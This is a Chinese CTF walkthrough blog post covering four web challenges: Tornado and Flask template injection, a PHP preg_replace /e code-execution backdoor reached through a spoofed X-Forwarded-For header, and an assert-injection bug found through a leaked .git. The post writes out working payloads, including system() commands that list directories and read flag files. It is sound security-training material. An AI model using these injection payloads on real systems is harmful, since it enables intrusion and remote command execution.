CTF_Web:攻防世界高手区进阶题WP(15-18)
0x15 easytornado
题目描述:Tornado 框架
打开题目发现有三个文件
全部为提示信息:
/flag.txt
flag in /fllllllllllllag #flag文件名称
/welcome.txt
render #题目提示渲染
/hints.txt
md5(cookie_secret+md5(filename)) #md5提示计算方法为文件名md5加cookie_secret
我们可以看到每个文件的url格式为/file?filename=/hints.txt&filehash=ba0eae6fbd190d79838d83be2eb4eee0
那么我们flag的格式也相同,为/file?filename=/fllllllllllllag&filehash=XXX
这时这个题目的重点就变成了如何获取cookie_secret
的值,当我们输入一个不存在的文件时,返回错误,这部分存在render注入。
但是这里需要注意过滤了所有的操作符,*+
等等都不可用,Tornado 框架中的cookie值存在于RequestHandler.application.settings
,而handler.settings
对象中handler
指向RequestHandler
,而RequestHandler.settings
又指向self.application.settings
,那么使用handler.settings
即可完成对cookie
的访问。
hash部分的值就为md5(9647c854-578a-4b2b-9ba4-abbe61ce1c98+md5(’/fllllllllllllag’))
最终的payload为:
file?filename=/fllllllllllllag&filehash=1786322ce1387e0b8207690c4be3c028
返回结果
flag为:
flag{3f39aea39db345769397ae895edb9c70}
0x16 shrine
题目描述: TokyoWesterns CTF
题目源码为:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':app.run(debug=True)
可以看到一共有两个装饰器,分别装饰了根目录和shrine目录,发生渲染的是shrine目录,我们进入看看。
发现SSTI,但根据源码信息可知过滤了config,而flag值就被设置在config中,当我们直接输入从config时,会将config置为None,所以这里选用get_flashed_message()函数,获取闪现信息。
payload为
{{get_flashed_messages().__globals__['current_app'].config}}
结果为
拿到flag
flag{shrine_is_good_ssti}
0x17 isc-05
题目描述:其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统。
这个题目提示了出现问题的地方在于设备维护中心页面,所以我们直接进去。
url为:http://111.200.241.244:63219/index.php?page=index
发现页面直接显示了index。
基本page是输入什么回显什么,这里使用php伪协议读取文件源码试试php://filter/read=convert.base64-encode/resource=index.php
得到返回的base64结果。
PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwoKQHNlc3Npb25fc3RhcnQoKTsKcG9zaXhfc2V0dWlkKDEwMDApOwoKCj8+CjwhRE9DVFlQRSBIVE1MPgo8aHRtbD4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0icmVuZGVyZXIiIGNvbnRlbnQ9IndlYmtpdCI+CiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UsY2hyb21lPTEiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBtYXhpbXVtLXNjYWxlPTEiPgogICAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJsYXl1aS9jc3MvbGF5dWkuY3NzIiBtZWRpYT0iYWxsIj4KICAgIDx0aXRsZT7orr7lpIfnu7TmiqTkuK3lv4M8L3RpdGxlPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgo8L2hlYWQ+Cgo8Ym9keT4KICAgIDx1bCBjbGFzcz0ibGF5dWktbmF2Ij4KICAgICAgICA8bGkgY2xhc3M9ImxheXVpLW5hdi1pdGVtIGxheXVpLXRoaXMiPjxhIGhyZWY9Ij9wYWdlPWluZGV4Ij7kupHlubPlj7Dorr7lpIfnu7TmiqTkuK3lv4M8L2E+PC9saT4KICAgIDwvdWw+CiAgICA8ZmllbGRzZXQgY2xhc3M9ImxheXVpLWVsZW0tZmllbGQgbGF5dWktZmllbGQtdGl0bGUiIHN0eWxlPSJtYXJnaW4tdG9wOiAzMHB4OyI+CiAgICAgICAgPGxlZ2VuZD7orr7lpIfliJfooag8L2xlZ2VuZD4KICAgIDwvZmllbGRzZXQ+CiAgICA8dGFibGUgY2xhc3M9ImxheXVpLWhpZGUiIGlkPSJ0ZXN0Ij48L3RhYmxlPgogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2h0bWwiIGlkPSJzd2l0Y2hUcGwiPgogICAgICAgIDwhLS0g6L+Z6YeM55qEIGNoZWNrZWQg55qE54q25oCB5Y+q5piv5ryU56S6IC0tPgogICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2V4IiB2YWx1ZT0ie3tkLmlkfX0iIGxheS1za2luPSJzd2l0Y2giIGxheS10ZXh0PSLlvIB85YWzIiBsYXktZmlsdGVyPSJjaGVja0RlbW8iIHt7IGQuaWQ9PTEgMDAwMyA/ICdjaGVja2VkJyA6ICcnIH19PgogICAgPC9zY3JpcHQ+CiAgICA8c2NyaXB0IHNyYz0ibGF5dWkvbGF5dWkuanMiIGNoYXJzZXQ9InV0Zi04Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ3RhYmxlJywgZnVuY3Rpb24oKSB7CiAgICAgICAgdmFyIHRhYmxlID0gbGF5dWkudGFibGUsCiAgICAgICAgICAgIGZvcm0gPSBsYXl1aS5mb3JtOwoKICAgICAgICB0YWJsZS5yZW5kZXIoewogICAgICAgICAgICBlbGVtOiAnI3Rlc3QnLAogICAgICAgICAgICB1cmw6ICcvc29tcnRoaW5nLmpzb24nLAogICAgICAgICAgICBjZWxsTWluV2lkdGg6IDgwLAogICAgICAgICAgICBjb2xzOiBbCiAgICAgICAgICAgICAgICBbCiAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnbnVtYmVycycgfSwKICAgICAgICAgICAgICAgICAgICAgeyB0eXBlOiAnY2hlY2tib3gnIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdpZCcsIHRpdGxlOiAnSUQnLCB3aWR0aDogMTAwLCB1bnJlc2l6ZTogdHJ1ZSwgc29ydDogdHJ1ZSB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnbmFtZScsIHRpdGxlOiAn6K6+5aSH5ZCNJywgdGVtcGxldDogJyNuYW1lVHBsJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnYXJlYScsIHRpdGxlOiAn5Yy65Z+fJyB9LAogICAgICAgICAgICAgICAgICAgICB7IGZpZWxkOiAnc3RhdHVzJywgdGl0bGU6ICfnu7TmiqTnirbmgIEnLCBtaW5XaWR0aDogMTIwLCBzb3J0OiB0cnVlIH0sCiAgICAgICAgICAgICAgICAgICAgIHsgZmllbGQ6ICdjaGVjaycsIHRpdGxlOiAn6K6+5aSH5byA5YWzJywgd2lkdGg6IDg1LCB0ZW1wbGV0OiAnI3N3aXRjaFRwbCcsIHVucmVzaXplOiB0cnVlIH0KICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgXSwKICAgICAgICAgICAgcGFnZTogdHJ1ZQogICAgICAgIH0pOwogICAgfSk7CiAgICA8L3NjcmlwdD4KICAgIDxzY3JpcHQ+CiAgICBsYXl1aS51c2UoJ2VsZW1lbnQnLCBmdW5jdGlvbigpIHsKICAgICAgICB2YXIgZWxlbWVudCA9IGxheXVpLmVsZW1lbnQ7IC8v5a+86Iiq55qEaG92ZXLmlYjmnpzjgIHkuoznuqfoj5zljZXnrYnlip/og73vvIzpnIDopoHkvp3otZZlbGVtZW505qih5Z2XCiAgICAgICAgLy/nm5HlkKzlr7zoiKrngrnlh7sKICAgICAgICBlbGVtZW50Lm9uKCduYXYoZGVtbyknLCBmdW5jdGlvbihlbGVtKSB7CiAgICAgICAgICAgIC8vY29uc29sZS5sb2coZWxlbSkKICAgICAgICAgICAgbGF5ZXIubXNnKGVsZW0udGV4dCgpKTsKICAgICAgICB9KTsKICAgIH0pOwogICAgPC9zY3JpcHQ+Cgo8P3BocAoKJHBhZ2UgPSAkX0dFVFtwYWdlXTsKCmlmIChpc3NldCgkcGFnZSkpIHsKCgoKaWYgKGN0eXBlX2FsbnVtKCRwYWdlKSkgewo/PgoKICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgogICAgPGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXIiPgogICAgICAgIDxwIGNsYXNzPSJsZWFkIj48P3BocCBlY2hvICRwYWdlOyBkaWUoKTs/PjwvcD4KICAgIDxiciAvPjxiciAvPjxiciAvPjxiciAvPgoKPD9waHAKCn1lbHNlewoKPz4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KICAgICAgICA8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlciI+CiAgICAgICAgICAgIDxwIGNsYXNzPSJsZWFkIj4KICAgICAgICAgICAgICAgIDw/cGhwCgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ2lucHV0JykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcGFnZSwgJ3RhOnRleHQnKSA+IDApIHsKICAgICAgICAgICAgICAgICAgICBkaWUoKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRwYWdlLCAndGV4dCcpID4gMCkgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgIGlmICgkcGFnZSA9PT0gJ2luZGV4LnBocCcpIHsKICAgICAgICAgICAgICAgICAgICBkaWUoJ09rJyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaW5jbHVkZSgkcGFnZSk7CiAgICAgICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgIDwvcD4KICAgICAgICA8YnIgLz48YnIgLz48YnIgLz48YnIgLz4KCjw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrp7njrDovpPlhaXovpPlh7rnmoTlip/og70s5q2j5Zyo5byA5Y+R5Lit55qE5Yqf6IO977yM5Y+q6IO95YaF6YOo5Lq65ZGY5rWL6K+VCgppZiAoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10gPT09ICcxMjcuMC4wLjEnKSB7CgogICAgZWNobyAiPGJyID5XZWxjb21lIE15IEFkbWluICEgPGJyID4iOwoKICAgICRwYXR0ZXJuID0gJF9HRVRbcGF0XTsKICAgICRyZXBsYWNlbWVudCA9ICRfR0VUW3JlcF07CiAgICAkc3ViamVjdCA9ICRfR0VUW3N1Yl07CgogICAgaWYgKGlzc2V0KCRwYXR0ZXJuKSAmJiBpc3NldCgkcmVwbGFjZW1lbnQpICYmIGlzc2V0KCRzdWJqZWN0KSkgewogICAgICAgIHByZWdfcmVwbGFjZSgkcGF0dGVybiwgJHJlcGxhY2VtZW50LCAkc3ViamVjdCk7CiAgICB9ZWxzZXsKICAgICAgICBkaWUoKTsKICAgIH0KCn0KCgoKCgo/PgoKPC9ib2R5PgoKPC9odG1sPgo=
解密后的结果为:
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?php echo $page; die();?></p><br /><br /><br /><br />
<?php
}else{
?><br /><br /><br /><br /><div style="text-align:center"><p class="lead"><?phpif (strpos($page, 'input') > 0) {die();}if (strpos($page, 'ta:text') > 0) {die();}if (strpos($page, 'text') > 0) {die();}if ($page === 'index.php') {die('Ok');}include($page);die();?></p><br /><br /><br /><br />
<?php
}}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>
</body>
</html>
可以看出page输入只是为了include不同的文件,且过滤了很多方法,只允许index.php回显ok,我们也不知道里面有什么文件,难以利用,那么出现问题的地方在于后半段正则匹配中。
preg_replace
将匹配一个字符串并替换,在这里三个参数都是我们所控制的,所以利用正则/e
执行代码的特性可以构造危险函数执行。
函数原型为:
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
其中:
pattern
参数为要匹配的正则表达式
replacement
参数为要替换成的字符串
subject
为要匹配的字符串
在这个函数中正则表达式有一个修饰符为/e
参数,e eval() 对匹配后的元素执行函数。
当传入的参数可控,替换完毕后的 replacement 参数会当作 PHP 代码执行。
那么这个题目在3个参数可控的条件下很容易的构造:
index.php?pat=/test/e&rep=system(%27ls%27)&sub=test
返回当前目录下的文件。
观察路径s3chahahaDir特殊,于是使用多命令执行穿越目录。
index.php?pat=/test/e&rep=system(%27cd%20s3chahahaDir;ls%27)&sub=test
最后构造读取flag文件即可。
这里flag居然是一个文件夹。。。。所以还要穿越一次目录。
最终payload为:
index.php?pat=/test/e&rep=system(%27cd%20s3chahahaDir/flag;ls;cat%20flag.php%27)&sub=test
拿到flag:
cyberpeace{233047cf66301c4be618056c00ec3209}
0x18 mfw
这个题目一开始就给了提示。
由此猜测.git泄露,使用Githack打包下载,得到网站源码。
在/templates目录中找到flag.php但打开是空的,所以还是先从index.php中看。
源码部分为:
<?php
if (isset($_GET['page'])) {$page = $_GET['page'];
} else {$page = "home";
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
这里出现问题的点在于assert函数。
这个函数将括号中的函数执行,我们通过构造特殊的参数闭合strpos函数,使其执行我们的恶意代码。
当传入的 page为')or system("cat /templates/flag.php");//
时,函数将变成
assert("strpos('') or system("cat templates/flag.php");//,'..')===false")
//符后的被注释
显然strpos函数内容不为真但or
符后的函数被执行为真。
查看源码得到flag。
cyberpeace{52e4b1e92109724fb1332f9bd4abe8e7}
CTF_Web:攻防世界高手区进阶题WP(15-18)相关推荐
- android 克隆攻击原理,通过CTF学习Android漏洞(炸弹引爆+dex修复)2015 RCTF / 攻防世界高手区 where...
0x00 说明 刷android ctf题,感觉涉及的点不错,分享一下做题过程. 题目: 2015 RCTF / 攻防世界高手区 where 描述(提示): Where is the flag.(Th ...
- XCTF攻防世界练习区-web题(新手)
XCTF攻防世界练习区-web题(新手) https://adworld.xctf.org.cn/task?now_checked_num=3&name=web 001 view_source ...
- 攻防世界高手区easytornado过关
题目名叫easytornado,应该是tornado框架的漏洞. 一进主页,给了三个链接,一个一个点开看找思路 点开第一个链接 提示flag在 /fllllllllllllag中直接跳转过去肯定不行 ...
- 攻防世界高手进阶区 ——反应釜开关控制
攻防世界高手进阶区 --反应釜开关控制 题目没什么信息.在这里插入图片描述 1.分析文件 运行一下,可能为栈溢出的题. checkse 无栈溢出保护,无地址随机化,只有堆栈不可执行. 栈溢出可能性大. ...
- 攻防世界高手进阶区 ——Mary_Morton
攻防世界高手进阶区 --Mary_Morton 不容易呀,这都已经是第七题了,继续加油! 一,老规矩,先分析一下文件 checksec一下 发现开启了栈溢出,可能这个题就是学习栈溢出漏洞绕过的. 运行 ...
- 攻防世界高手进阶区——dice_game
攻防世界高手进阶区--dice_game 题目里面啥都没有. 一.分析文件 checksec 只有栈溢出保护关闭了,其他都是开着的. 运行 可以看出是要猜数字,猜对50次. ida逆向 __int64 ...
- 攻防世界高手进阶区 ——forgot
攻防世界高手进阶区 --forgot 看了半天,啥也没看懂,做出来了才发现啥也不是. 一,分析文件 checksec 还好,只开启了堆栈不可执行. 运行一下 翻译了一下,应该是判断邮箱是否合乎规矩. ...
- 逆向迷宫题总结(持续更新) 2020华南师大CTF新生赛maze,攻防世界新手区:NJUPT CTF 2017,BUUCTF:不一样的flag
CTF逆向入门:迷宫题学习记录(持续更新) ** 目录 **CTF逆向入门:迷宫题学习记录(持续更新)** (前言) 一. 逆向迷宫题概述 二. 具体题目分析 1. 2019华南师大CTF新生赛maz ...
- 攻防世界we区newer题目
WEB攻防区新手题(任务3)(本周) 题目:'攻防世界'新手区 1.view_source 题目简介: 右键呼不出开发者模式,是JS禁用了鼠标右键,按F12快捷键调用即可. 相关代码段: docume ...
最新文章
- Ubuntu 16.04 利用qemu模拟ARM开发板
- Python入门100题 | 第030题
- 数据分析与挖掘-python常用数据预处理函数
- unity json解析IPA后续
- 神经网络反向传导算法
- 浙江大学PTA 数据结构 习题2.2 数组循环左移 (20 分)
- 社工库源码mysql_社工库源码
- 解决百度文库文字无法复制
- java超类_Java——超类和子类对象之间的转换
- 应用计算机散热的原理是什么,电脑的主机风扇散热原理
- 恶意代码分析实战Lab3-1
- 大一新生先学C语言编程还是先学C语言的数据结构和算法?
- html5如何修改登录页面的背景,HTML5 月夜背景的用户登录界面
- 智能手机成瘾者的大脑功能和结构的改变
- 黄仁勋专访:经济不景气又怎样?未来元宇宙将「全民免费」!
- 百度智能云AI接口的植物识别
- 生成树协议三姐妹:STP、RSTP 和 MSTP,附思科和华为双厂商命令示例
- Kinetics400/600/700数据集免费下载
- 什么叫做「数据驱动方法」
- 12月DB-Engines数据库排名,你猜谁会是第一?